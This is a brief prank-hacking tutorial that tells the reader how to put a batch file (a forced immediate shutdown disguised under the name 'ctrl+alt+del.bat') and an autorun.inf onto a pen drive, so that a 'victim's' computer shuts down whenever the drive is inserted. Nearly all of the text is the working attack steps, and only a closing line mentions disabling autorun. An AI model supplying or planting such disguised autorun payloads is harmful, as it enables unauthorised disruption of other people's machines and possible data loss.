0 Hack Friends ComPuter Using Pendrive..................... Step 1:>>copy this code into notepad: @echo off shutdown -s -t 00 Save as ctrl+alt+del.bat extension Step 2: Now open the notepad and copy this code: [autorun] Open=ctrl+alt+del.bat Action=Mouse Disable Save it as "autorun.inf" Step 3: Then copy the two files in your pen drive or victim's pen drive. That's all whenever the victim insert his pen drive,the system will be turned off automatically. Check How to Disable This:- First Stop Autorun in Your Computer And Then Format Pendrive..